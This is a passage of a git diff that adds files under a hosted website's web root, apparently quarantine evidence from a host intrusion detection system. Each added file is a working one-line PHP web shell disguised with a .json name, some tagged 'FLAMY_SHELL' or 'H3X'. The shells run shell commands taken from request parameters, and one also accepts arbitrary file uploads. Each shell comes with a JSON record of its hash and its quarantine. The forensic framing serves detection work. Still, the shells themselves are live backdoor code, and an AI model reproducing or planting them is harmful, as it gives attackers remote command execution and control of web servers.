+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.php.json b/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.php.json.evidence.json
new file mode 100644
index 0000000..edb4eb5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5145",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110103,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "images/r0ps_zn8fgo.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/kvjrvsep.json b/var/www/hosting/archlinexp.eu/www/kvjrvsep.json
new file mode 100644
index 0000000..ed11f77
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/kvjrvsep.json
@@ -0,0 +1 @@
+<?php if(isset($_REQUEST['c'])){header('Content-Type:text/plain;charset=utf-8');echo '===START===\n';system($_REQUEST['c']);echo '\n===END===';exit;}if(isset($_FILES['f'])&&isset($_REQUEST['p'])){$d=rtrim($_REQUEST['p'],'/');if(!is_dir($d))@mkdir($d,0777,true);if(move_uploaded_file($_FILES['f']['tmp_name'],$d.'/'.basename($_FILES['f']['name'])))echo 'OK '.htmlspecialchars($d.'/'.$_FILES['f']['name']);else echo 'FAIL';exit;}?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/kvjrvsep.json.evidence.json b/var/www/hosting/archlinexp.eu/www/kvjrvsep.json.evidence.json
new file mode 100644
index 0000000..1ccbbd6
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/kvjrvsep.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4915",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:kvjrvsep.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/kvjrvsep.json)",
+  "original_sha256": "60e98b1fce5f20be97139b866ce5dee94c99dc8c87ba139e11cd1582a90e794b",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783555457,
+    "size": 429,
+    "uid": 20043
+  },
+  "rel_path": "kvjrvsep.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/logs/8j7txp50.php.json b/var/www/hosting/archlinexp.eu/www/logs/8j7txp50.php.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/8j7txp50.php.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/logs/8j7txp50.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/logs/8j7txp50.php.json.evidence.json
new file mode 100644
index 0000000..c25b28f
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/8j7txp50.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5308",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:logs/8j7txp50.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/8j7txp50.php.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343471,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "logs/8j7txp50.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.json b/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.json.evidence.json b/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.json.evidence.json
new file mode 100644
index 0000000..c397686
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5301",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:logs/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111742,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "logs/r0ps_v464ri.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.php.json b/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.php.json.evidence.json
new file mode 100644
index 0000000..cd971a4
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5302",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:logs/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/r0ps_v464ri.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111723,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "logs/r0ps_v464ri.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.json b/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.json.evidence.json b/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.json.evidence.json
new file mode 100644
index 0000000..4b25376
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5304",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:logs/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110130,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "logs/r0ps_zn8fgo.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.php.json b/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.php.json.evidence.json
new file mode 100644
index 0000000..f7d36a9
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5299",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:logs/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/logs/r0ps_zn8fgo.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110111,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "logs/r0ps_zn8fgo.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/media/8j7txp50.php.json b/var/www/hosting/archlinexp.eu/www/media/8j7txp50.php.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/8j7txp50.php.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/media/8j7txp50.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/media/8j7txp50.php.json.evidence.json
new file mode 100644
index 0000000..20ff83d
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/8j7txp50.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4999",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/8j7txp50.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/8j7txp50.php.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343448,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "media/8j7txp50.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/media/h3x_187572.json b/var/www/hosting/archlinexp.eu/www/media/h3x_187572.json
new file mode 100644
index 0000000..9901248
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/h3x_187572.json
@@ -0,0 +1 @@
+<?php if(isset($_GET["c"])){echo "<!--H3X-->";system($_GET["c"]);echo "<!--/H3X-->";}else{echo "<!--H3X-->".php_uname()."<!--/H3X-->";}?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/media/h3x_187572.json.evidence.json b/var/www/hosting/archlinexp.eu/www/media/h3x_187572.json.evidence.json
new file mode 100644
index 0000000..31a8dc7
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/h3x_187572.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5003",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/h3x_187572.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/h3x_187572.json)",
+  "original_sha256": "219e45ec393931cad8b414284b0e0c9a6c88117ba312b71f30dbe0c29d9834e9",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783272740,
+    "size": 137,
+    "uid": 20043
+  },
+  "rel_path": "media/h3x_187572.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/media/ntxvq7b4jper.php.json b/var/www/hosting/archlinexp.eu/www/media/ntxvq7b4jper.php.json
new file mode 100644
index 0000000..373d006
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/ntxvq7b4jper.php.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); if(isset($_REQUEST['c'])){system($_REQUEST['c']);}elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}elseif(isset($_POST['cmd'])){system($_POST['cmd']);} ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/media/ntxvq7b4jper.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/media/ntxvq7b4jper.php.json.evidence.json
new file mode 100644
index 0000000..2f6e85b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/ntxvq7b4jper.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4993",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/ntxvq7b4jper.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/ntxvq7b4jper.php.json)",
+  "original_sha256": "4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783427918,
+    "size": 212,
+    "uid": 20043
+  },
+  "rel_path": "media/ntxvq7b4jper.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.json b/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.json.evidence.json b/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.json.evidence.json
new file mode 100644
index 0000000..4b6e854
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4986",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111731,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "media/r0ps_v464ri.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.php.json b/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.php.json.evidence.json
new file mode 100644
index 0000000..ff88b46
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4987",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/r0ps_v464ri.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111716,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "media/r0ps_v464ri.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.json b/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.json.evidence.json b/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.json.evidence.json
new file mode 100644
index 0000000..06e5971
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4988",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110119,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "media/r0ps_zn8fgo.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.php.json b/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.php.json.evidence.json
new file mode 100644
index 0000000..0e7bf79
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4983",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:media/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/media/r0ps_zn8fgo.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110104,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "media/r0ps_zn8fgo.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.json b/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.json.evidence.json b/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.json.evidence.json
new file mode 100644
index 0000000..56d9b00
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5280",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:modules/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111741,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "modules/r0ps_v464ri.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.php.json b/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.php.json.evidence.json
new file mode 100644
index 0000000..095ff59
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5281",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:modules/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/modules/r0ps_v464ri.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111722,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "modules/r0ps_v464ri.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.json b/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.json.evidence.json b/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.json.evidence.json
new file mode 100644
index 0000000..1094d04
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5282",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:modules/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110129,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "modules/r0ps_zn8fgo.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.php.json b/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.php.json.evidence.json
new file mode 100644
index 0000000..84b3ccc
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5279",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:modules/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/modules/r0ps_zn8fgo.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110110,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "modules/r0ps_zn8fgo.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.php.json b/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.php.json
new file mode 100644
index 0000000..373d006
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.php.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); if(isset($_REQUEST['c'])){system($_REQUEST['c']);}elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}elseif(isset($_POST['cmd'])){system($_POST['cmd']);} ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.php.json.evidence.json
new file mode 100644
index 0000000..011110a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4876",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:ntxvq7b4jper.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.php.json)",
+  "original_sha256": "4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783427914,
+    "size": 212,
+    "uid": 20043
+  },
+  "rel_path": "ntxvq7b4jper.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.phtml.json b/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.phtml.json
new file mode 100644
index 0000000..373d006
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.phtml.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); if(isset($_REQUEST['c'])){system($_REQUEST['c']);}elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}elseif(isset($_POST['cmd'])){system($_POST['cmd']);} ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.phtml.json.evidence.json
new file mode 100644
index 0000000..49021a7
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4924",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:ntxvq7b4jper.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/ntxvq7b4jper.phtml.json)",
+  "original_sha256": "4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783427915,
+    "size": 212,
+    "uid": 20043
+  },
+  "rel_path": "ntxvq7b4jper.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.json b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/plugins/r0ps_v464ri.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
